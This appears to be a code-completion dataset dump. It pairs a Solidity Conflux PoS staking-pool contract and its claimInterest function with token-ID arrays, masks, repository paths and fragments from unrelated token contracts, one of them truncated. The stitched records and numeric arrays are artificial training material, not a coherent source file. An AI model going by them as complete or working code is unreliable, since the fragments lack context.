[ 1, 565, 445, 389, 2293, 984, 334, 911, 12, 2867, 389, 4631, 13, 2713, 711, 510, 911, 1435, 1089, 17631, 1060, 24899, 4631, 13, 288, 203, 3639, 934, 911, 2502, 3742, 273, 1147, 510, 911, 63, 67, 4631, 15533, 203, 3639, 2583, 12, 5, 3428, 18, 291, 1190, 9446, 310, 16, 315, 12892, 1347, 598, 9446, 310, 8863, 203, 203, 3639, 3742, 18, 291, 1190, 9446, 310, 273, 638, 31, 203, 3639, 3742, 18, 1918, 9446, 287, 13576, 861, 273, 1203, 18, 5508, 397, 23813, 984, 334, 911, 18, 1132, 31, 203, 3639, 384, 9477, 5157, 3947, 3742, 18, 7860, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "./PoolContext.sol"; import "./VotePowerQueue.sol"; import "./PoolAPY.sol"; /// /// @title PoSPool /// @dev This is Conflux PoS pool contract /// @notice Users can use this contract to participate Conflux PoS without running a PoS node. /// contract PoSPool is PoolContext, Ownable, Initializable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; using VotePowerQueue for VotePowerQueue.InOutQueue; using PoolAPY for PoolAPY.ApyQueue; uint256 private RATIO_BASE = 10000; uint256 private CFX_COUNT_OF_ONE_VOTE = 1000; uint256 private CFX_VALUE_OF_ONE_VOTE = 1000 ether; uint256 private ONE_DAY_BLOCK_COUNT = 2 * 3600 * 24; uint256 private ONE_YEAR_BLOCK_COUNT = ONE_DAY_BLOCK_COUNT * 365; // ======================== Pool config ========================= string public poolName; // wheter this poolContract registed in PoS bool public _poolRegisted; // ratio shared by user: 1-10000 uint256 public poolUserShareRatio = 9000; // lock period: 7 days + half hour uint256 public _poolLockPeriod = ONE_DAY_BLOCK_COUNT * 7 + 3600; // ======================== Struct definitions ========================= struct PoolSummary { uint256 available; uint256 interest; // PoS pool interest share uint256 totalInterest; // total interest of whole pools } /// @title UserSummary /// @custom:field votes User's total votes /// @custom:field available User's avaliable votes /// @custom:field locked /// @custom:field unlocked /// @custom:field claimedInterest /// @custom:field currentInterest struct UserSummary { uint256 votes; // Total votes in PoS system, including locking, locked, unlocking, unlocked uint256 available; // locking + locked uint256 locked; uint256 unlocked; uint256 claimedInterest; uint256 currentInterest; } struct PoolShot { uint256 available; uint256 balance; uint256 blockNumber; } struct UserShot { uint256 available; uint256 accRewardPerCfx; uint256 blockNumber; } // ======================== Contract states ========================= // global pool accumulative reward for each cfx uint256 public accRewardPerCfx; // start from 0 PoolSummary private _poolSummary; mapping(address => UserSummary) private userSummaries; mapping(address => VotePowerQueue.InOutQueue) private userInqueues; mapping(address => VotePowerQueue.InOutQueue) private userOutqueues; PoolShot internal lastPoolShot; mapping(address => UserShot) internal lastUserShots; EnumerableSet.AddressSet private stakers; // used to calculate latest seven days APY PoolAPY.ApyQueue private apyNodes; // Free fee whitelist EnumerableSet.AddressSet private feeFreeWhiteList; // ======================== Modifiers ========================= modifier onlyRegisted() { require(_poolRegisted, "Pool is not registed"); _; } // ======================== Helpers ========================= function _userShareRatio(address _user) public view returns (uint256) { if (feeFreeWhiteList.contains(_user)) return RATIO_BASE; UserSummary memory uSummary = userSummaries[_user]; if (uSummary.available >= 1000) { // VIP4(100w) 2% return 9800; } else if (uSummary.available >= 100) { // VIP3(10w) 3% return 9700; } else if (uSummary.available >= 50){ // VIP2(5w) 4% return 9600; } else if (uSummary.available >= 10) { // VIP1(1w) 5% return 9500; } return poolUserShareRatio; } function _calUserShare(uint256 reward, address _stakerAddress) private view returns (uint256) { return reward.mul(_userShareRatio(_stakerAddress)).div(RATIO_BASE); } // used to update lastPoolShot after _poolSummary.available changed function _updatePoolShot() private { lastPoolShot.available = _poolSummary.available; lastPoolShot.balance = _selfBalance(); lastPoolShot.blockNumber = _blockNumber(); } // used to update lastUserShot after userSummary.available and accRewardPerCfx changed function _updateUserShot(address _user) private { lastUserShots[_user].available = userSummaries[_user].available; lastUserShots[_user].accRewardPerCfx = accRewardPerCfx; lastUserShots[_user].blockNumber = _blockNumber(); } // used to update accRewardPerCfx after _poolSummary.available changed or user claimed interest // depend on: lastPoolShot.available and lastPoolShot.balance function _updateAccRewardPerCfx() private { uint256 reward = _selfBalance() - lastPoolShot.balance; if (reward == 0 || lastPoolShot.available == 0) return; // update global accRewardPerCfx uint256 cfxCount = lastPoolShot.available.mul(CFX_COUNT_OF_ONE_VOTE); accRewardPerCfx = accRewardPerCfx.add(reward.div(cfxCount)); // update pool interest info _poolSummary.totalInterest = _poolSummary.totalInterest.add(reward); } // depend on: accRewardPerCfx and lastUserShot function _updateUserInterest(address _user) private { UserShot memory uShot = lastUserShots[_user]; if (uShot.available == 0) return; uint256 latestInterest = accRewardPerCfx.sub(uShot.accRewardPerCfx).mul(uShot.available.mul(CFX_COUNT_OF_ONE_VOTE)); uint256 _userInterest = _calUserShare(latestInterest, _user); userSummaries[_user].currentInterest = userSummaries[_user].currentInterest.add(_userInterest); _poolSummary.interest = _poolSummary.interest.add(latestInterest.sub(_userInterest)); } // depend on: lastPoolShot function _updateAPY() private { if (_blockNumber() == lastPoolShot.blockNumber) return; uint256 reward = _selfBalance() - lastPoolShot.balance; PoolAPY.ApyNode memory node = PoolAPY.ApyNode({ startBlock: lastPoolShot.blockNumber, endBlock: _blockNumber(), reward: reward, available: lastPoolShot.available }); uint256 outdatedBlock = 0; if (_blockNumber() > ONE_DAY_BLOCK_COUNT.mul(2)) { outdatedBlock = _blockNumber().sub(ONE_DAY_BLOCK_COUNT.mul(2)); } apyNodes.enqueueAndClearOutdated(node, outdatedBlock); } // ======================== Events ========================= event IncreasePoSStake(address indexed user, uint256 votePower); event DecreasePoSStake(address indexed user, uint256 votePower); event WithdrawStake(address indexed user, uint256 votePower); event ClaimInterest(address indexed user, uint256 amount); event RatioChanged(uint256 ratio); // error UnnormalReward(uint256 previous, uint256 current, uint256 blockNumber); // ======================== Init methods ========================= // call this method when depoly the 1967 proxy contract function initialize() public initializer { RATIO_BASE = 10000; CFX_COUNT_OF_ONE_VOTE = 1000; CFX_VALUE_OF_ONE_VOTE = 1000 ether; ONE_DAY_BLOCK_COUNT = 2 * 3600 * 24; ONE_YEAR_BLOCK_COUNT = ONE_DAY_BLOCK_COUNT * 365; poolUserShareRatio = 9000; _poolLockPeriod = ONE_DAY_BLOCK_COUNT * 7 + 3600; } /// /// @notice Regist the pool contract in PoS internal contract /// @dev Only admin can do this /// @param indentifier The identifier of PoS node /// @param votePower The vote power when register /// @param blsPubKey The bls public key of PoS node /// @param vrfPubKey The vrf public key of PoS node /// @param blsPubKeyProof The bls public key proof of PoS node /// function register( bytes32 indentifier, uint64 votePower, bytes calldata blsPubKey, bytes calldata vrfPubKey, bytes[2] calldata blsPubKeyProof ) public virtual payable onlyOwner { require(!_poolRegisted, "Pool is already registed"); require(votePower == 1, "votePower should be 1"); require(msg.value == votePower * CFX_VALUE_OF_ONE_VOTE, "msg.value should be 1000 CFX"); _stakingDeposit(msg.value); _posRegisterRegister(indentifier, votePower, blsPubKey, vrfPubKey, blsPubKeyProof); _poolRegisted = true; // update user info userSummaries[msg.sender].votes += votePower; userSummaries[msg.sender].available += votePower; userSummaries[msg.sender].locked += votePower; // directly add to admin's locked votes _updateUserShot(msg.sender); // stakers.add(msg.sender); // update pool info _poolSummary.available += votePower; _updatePoolShot(); } // ======================== Contract methods ========================= /// /// @notice Increase PoS vote power /// @param votePower The number of vote power to increase /// function increaseStake(uint64 votePower) public virtual payable onlyRegisted { require(votePower > 0, "Minimal votePower is 1"); require(msg.value == votePower * CFX_VALUE_OF_ONE_VOTE, "msg.value should be votePower * 1000 ether"); _stakingDeposit(msg.value); _posRegisterIncreaseStake(votePower); emit IncreasePoSStake(msg.sender, votePower); _updateAccRewardPerCfx(); _updateAPY(); // update user interest _updateUserInterest(msg.sender); // put stake info in queue userInqueues[msg.sender].enqueue(VotePowerQueue.QueueNode(votePower, _blockNumber() + _poolLockPeriod)); userSummaries[msg.sender].locked += userInqueues[msg.sender].collectEndedVotes(); userSummaries[msg.sender].votes += votePower; userSummaries[msg.sender].available += votePower; _updateUserShot(msg.sender); stakers.add(msg.sender); // _poolSummary.available += votePower; _updatePoolShot(); } /// /// @notice Decrease PoS vote power /// @param votePower The number of vote power to decrease /// function decreaseStake(uint64 votePower) public virtual onlyRegisted { userSummaries[msg.sender].locked += userInqueues[msg.sender].collectEndedVotes(); require(userSummaries[msg.sender].locked >= votePower, "Locked is not enough"); _posRegisterRetire(votePower); emit DecreasePoSStake(msg.sender, votePower); _updateAccRewardPerCfx(); _updateAPY(); // update user interest _updateUserInterest(msg.sender); // userOutqueues[msg.sender].enqueue(VotePowerQueue.QueueNode(votePower, _blockNumber() + _poolLockPeriod)); userSummaries[msg.sender].unlocked += userOutqueues[msg.sender].collectEndedVotes(); userSummaries[msg.sender].available -= votePower; userSummaries[msg.sender].locked -= votePower; _updateUserShot(msg.sender); // _poolSummary.available -= votePower; _updatePoolShot(); } /// /// @notice Withdraw PoS vote power /// @param votePower The number of vote power to withdraw /// function withdrawStake(uint64 votePower) public onlyRegisted { userSummaries[msg.sender].unlocked += userOutqueues[msg.sender].collectEndedVotes(); require(userSummaries[msg.sender].unlocked >= votePower, "Unlocked is not enough"); _stakingWithdraw(votePower * CFX_VALUE_OF_ONE_VOTE); // userSummaries[msg.sender].unlocked -= votePower; userSummaries[msg.sender].votes -= votePower; address payable receiver = payable(msg.sender); receiver.transfer(votePower * CFX_VALUE_OF_ONE_VOTE); emit WithdrawStake(msg.sender, votePower); if (userSummaries[msg.sender].votes == 0) { stakers.remove(msg.sender); } } /// /// @notice User's interest from participate PoS /// @param _address The address of user to query /// @return CFX interest in Drip /// function userInterest(address _address) public view returns (uint256) { uint256 _interest = userSummaries[_address].currentInterest; uint256 _latestAccRewardPerCfx = accRewardPerCfx; // add latest profit uint256 _latestReward = _selfBalance() - lastPoolShot.balance; UserShot memory uShot = lastUserShots[_address]; if (_latestReward > 0) { uint256 _deltaAcc = _latestReward.div(lastPoolShot.available.mul(CFX_COUNT_OF_ONE_VOTE)); _latestAccRewardPerCfx = _latestAccRewardPerCfx.add(_deltaAcc); } if (uShot.available > 0) { uint256 _latestInterest = _latestAccRewardPerCfx.sub(uShot.accRewardPerCfx).mul(uShot.available.mul(CFX_COUNT_OF_ONE_VOTE)); _interest = _interest.add(_calUserShare(_latestInterest, _address)); } return _interest; } /// /// @notice Claim specific amount user interest /// @param amount The amount of interest to claim /// function claimInterest(uint amount) public onlyRegisted { uint claimableInterest = userInterest(msg.sender); require(claimableInterest >= amount, "Interest not enough"); _updateAccRewardPerCfx(); _updateAPY(); _updateUserInterest(msg.sender); // userSummaries[msg.sender].claimedInterest = userSummaries[msg.sender].claimedInterest.add(amount); userSummaries[msg.sender].currentInterest = userSummaries[msg.sender].currentInterest.sub(amount); // update userShot's accRewardPerCfx _updateUserShot(msg.sender); // send interest to user address payable receiver = payable(msg.sender); receiver.transfer(amount); emit ClaimInterest(msg.sender, amount); // update blockNumber and balance _updatePoolShot(); } /// /// @notice Claim one user's all interest /// function claimAllInterest() public onlyRegisted { uint claimableInterest = userInterest(msg.sender); require(claimableInterest > 0, "No claimable interest"); claimInterest(claimableInterest); } /// /// @notice Get user's pool summary /// @param _user The address of user to query /// @return User's summary /// function userSummary(address _user) public view returns (UserSummary memory) { UserSummary memory summary = userSummaries[_user]; summary.locked += userInqueues[_user].sumEndedVotes(); summary.unlocked += userOutqueues[_user].sumEndedVotes(); return summary; } function poolSummary() public view returns (PoolSummary memory) { PoolSummary memory summary = _poolSummary; uint256 _latestReward = _selfBalance().sub(lastPoolShot.balance); summary.totalInterest = summary.totalInterest.add(_latestReward); return summary; } function poolAPY() public view returns (uint256) { if(apyNodes.start == apyNodes.end) return 0; uint256 totalReward = 0; uint256 totalWorkload = 0; for(uint256 i = apyNodes.start; i < apyNodes.end; i++) { PoolAPY.ApyNode memory node = apyNodes.items[i]; totalReward = totalReward.add(node.reward); totalWorkload = totalWorkload.add(node.available.mul(CFX_VALUE_OF_ONE_VOTE).mul(node.endBlock - node.startBlock)); } uint256 _latestReward = _selfBalance().sub(lastPoolShot.balance); if (_latestReward > 0) { totalReward = totalReward.add(_latestReward); totalWorkload = totalWorkload.add(lastPoolShot.available.mul(CFX_VALUE_OF_ONE_VOTE).mul(_blockNumber() - lastPoolShot.blockNumber)); } return totalReward.mul(RATIO_BASE).mul(ONE_YEAR_BLOCK_COUNT).div(totalWorkload); } function poolAPY(uint blockNumber) public view returns (uint256) { if(apyNodes.start == apyNodes.end) return 0; uint256 totalReward = 0; uint256 totalWorkload = 0; for(uint256 i = apyNodes.start; i < apyNodes.end; i++) { PoolAPY.ApyNode memory node = apyNodes.items[i]; if (node.endBlock > blockNumber) break; // skip future nodes totalReward = totalReward.add(node.reward); totalWorkload = totalWorkload.add(node.available.mul(CFX_VALUE_OF_ONE_VOTE).mul(node.endBlock - node.startBlock)); } uint256 _latestReward = _selfBalance().sub(lastPoolShot.balance); if (_latestReward > 0) { totalReward = totalReward.add(_latestReward); totalWorkload = totalWorkload.add(lastPoolShot.available.mul(CFX_VALUE_OF_ONE_VOTE).mul(_blockNumber() - lastPoolShot.blockNumber)); } return totalReward.mul(RATIO_BASE).mul(ONE_YEAR_BLOCK_COUNT).div(totalWorkload); } /// /// @notice Query pools contract address /// @return Pool's PoS address /// function posAddress() public view onlyRegisted returns (bytes32) { return _posAddressToIdentifier(address(this)); } function userInQueue(address account) public view returns (VotePowerQueue.QueueNode[] memory) { return userInqueues[account].queueItems(); } function userOutQueue(address account) public view returns (VotePowerQueue.QueueNode[] memory) { return userOutqueues[account].queueItems(); } function userInQueue(address account, uint64 offset, uint64 limit) public view returns (VotePowerQueue.QueueNode[] memory) { return userInqueues[account].queueItems(offset, limit); } function userOutQueue(address account, uint64 offset, uint64 limit) public view returns (VotePowerQueue.QueueNode[] memory) { return userOutqueues[account].queueItems(offset, limit); } function stakerNumber() public view returns (uint) { return stakers.length(); } function stakerAddress(uint256 i) public view returns (address) { return stakers.at(i); } function userShareRatio(address _account) public view returns (uint256) { return _userShareRatio(_account); } // ======================== admin methods ===================== /// /// @notice Enable admin to set the user share ratio /// @dev The ratio base is 10000, only admin can do this /// @param ratio The interest user share ratio (1-10000), default is 9000 /// function setPoolUserShareRatio(uint64 ratio) public onlyOwner { require(ratio > 0 && ratio <= RATIO_BASE, "ratio should be 1-10000"); poolUserShareRatio = ratio; emit RatioChanged(ratio); } /// /// @notice Enable admin to set the lock and unlock period /// @dev Only admin can do this /// @param period The lock period in block number, default is seven day's block count /// function setLockPeriod(uint64 period) public onlyOwner { _poolLockPeriod = period; } function addToFeeFreeWhiteList(address _freeAddress) public onlyOwner returns (bool) { return feeFreeWhiteList.add(_freeAddress); } function removeFromFeeFreeWhiteList(address _freeAddress) public onlyOwner returns (bool) { return feeFreeWhiteList.remove(_freeAddress); } /// /// @notice Enable admin to set the pool name /// function setPoolName(string memory name) public onlyOwner { poolName = name; } /// @param count Vote cfx count, unit is cfx function setCfxCountOfOneVote(uint256 count) public onlyOwner { CFX_COUNT_OF_ONE_VOTE = count; CFX_VALUE_OF_ONE_VOTE = count * 1 ether; } function _withdrawPoolProfit(uint256 amount) public onlyOwner { require(_poolSummary.interest > amount, "Not enough interest"); require(_selfBalance() > amount, "Balance not enough"); _poolSummary.interest = _poolSummary.interest.sub(amount); address payable receiver = payable(msg.sender); receiver.transfer(amount); _updatePoolShot(); } // Used to bring account's retired votes back to work // reStake _poolSummary.available // function reStake(uint64 votePower) public onlyOwner { // _posRegisterIncreaseStake(votePower); // } function _retireUserStake(address _addr, uint64 endBlockNumber) public onlyOwner { uint256 votePower = userSummaries[_addr].available; if (votePower == 0) return; _updateUserInterest(_addr); userSummaries[_addr].available = 0; userSummaries[_addr].locked = 0; // clear user inqueue userInqueues[_addr].clear(); userOutqueues[_addr].enqueue(VotePowerQueue.QueueNode(votePower, endBlockNumber)); _updateUserShot(_addr); _poolSummary.available -= votePower; } // When pool node is force retired, use this method to make all user's available stake to unlocking function _retireUserStakes(uint256 offset, uint256 limit, uint64 endBlockNumber) public onlyOwner { uint256 len = stakers.length(); if (len == 0) return; _updateAccRewardPerCfx(); _updateAPY(); uint256 end = offset + limit; if (end > len) { end = len; } for (uint256 i = offset; i < end; i++) { _retireUserStake(stakers.at(i), endBlockNumber); } _updatePoolShot(); } // TODO REMOVE used for mocking reward // receive() external payable {} }
@notice Claim specific amount user interest @param amount The amount of interest to claim update userShot's accRewardPerCfx send interest to user update blockNumber and balance
function claimInterest(uint amount) public onlyRegisted { uint claimableInterest = userInterest(msg.sender); require(claimableInterest >= amount, "Interest not enough"); _updateAccRewardPerCfx(); _updateAPY(); _updateUserInterest(msg.sender); userSummaries[msg.sender].claimedInterest = userSummaries[msg.sender].claimedInterest.add(amount); userSummaries[msg.sender].currentInterest = userSummaries[msg.sender].currentInterest.sub(amount); _updateUserShot(msg.sender); address payable receiver = payable(msg.sender); receiver.transfer(amount); emit ClaimInterest(msg.sender, amount); _updatePoolShot(); }
6,467,092
[ 1, 9762, 2923, 3844, 729, 16513, 225, 3844, 1021, 3844, 434, 16513, 358, 7516, 1089, 729, 1555, 352, 1807, 4078, 17631, 1060, 2173, 39, 19595, 1366, 16513, 358, 729, 1089, 1203, 1854, 471, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 7516, 29281, 12, 11890, 3844, 13, 1071, 1338, 1617, 25444, 288, 203, 565, 2254, 7516, 429, 29281, 273, 729, 29281, 12, 3576, 18, 15330, 1769, 203, 565, 2583, 12, 14784, 429, 29281, 1545, 3844, 16, 315, 29281, 486, 7304, 8863, 203, 203, 565, 389, 2725, 8973, 17631, 1060, 2173, 39, 19595, 5621, 203, 565, 389, 2725, 2203, 61, 5621, 203, 203, 565, 389, 2725, 1299, 29281, 12, 3576, 18, 15330, 1769, 203, 565, 729, 15944, 63, 3576, 18, 15330, 8009, 14784, 329, 29281, 273, 729, 15944, 63, 3576, 18, 15330, 8009, 14784, 329, 29281, 18, 1289, 12, 8949, 1769, 203, 565, 729, 15944, 63, 3576, 18, 15330, 8009, 2972, 29281, 273, 729, 15944, 63, 3576, 18, 15330, 8009, 2972, 29281, 18, 1717, 12, 8949, 1769, 203, 565, 389, 2725, 1299, 1555, 352, 12, 3576, 18, 15330, 1769, 203, 203, 565, 1758, 8843, 429, 5971, 273, 8843, 429, 12, 3576, 18, 15330, 1769, 203, 565, 5971, 18, 13866, 12, 8949, 1769, 203, 565, 3626, 18381, 29281, 12, 3576, 18, 15330, 16, 3844, 1769, 203, 203, 565, 389, 2725, 2864, 1555, 352, 5621, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/56/0x6Df6a43Be4B706c45BC028D652829299D932d000/sources/juryProject.sol
this mapping is to save the number of votes weekly
mapping(address => uint256) public usersWeeklyVotesCount;
3,235,533
[ 1, 2211, 2874, 353, 358, 1923, 326, 1300, 434, 19588, 4860, 715, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 225, 1071, 3677, 6630, 715, 29637, 1380, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x64017B31658c0Da274F1AF3eFB2b5d6f36076506/sources/DragonKuraga.sol
7% from total supply maxWallet
maxWallet = (totalSupply * 70) / 1000;
4,336,125
[ 1, 27, 9, 628, 2078, 14467, 943, 16936, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 943, 16936, 273, 261, 4963, 3088, 1283, 380, 16647, 13, 342, 4336, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT /* * Plug.sol * * Author: Jack Kasbeer * Created: August 3, 2021 * * Price: 0.0888 ETH * Rinkeby: 0xf9d798514eb5eA645C90D8633FcC3DA17da8288e * * Description: An ERC-721 token that will change based on (1) time held by a single owner and * (2) trades between owners; the different versions give you access to airdrops. * * - As long as the owner remains the same, every 60 days, the asset will acquire more "juice" * not only updating the asset, but allowing the owner to receive more airdrops from other * artists. This means after a year, the final asset (and most valuable) will now be in the * owner's wallet (naturally each time, the previous asset is replaced). * - If the NFT changes owners, the initial/day 0 asset is now what will be seen by the owner, * and they'll have to wait a full cycle "final asset status" (gold) * - If a Plug is a Alchemist (final state), it means that it will never lose juice again, * even if it is transferred. */ pragma solidity >=0.5.16 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import 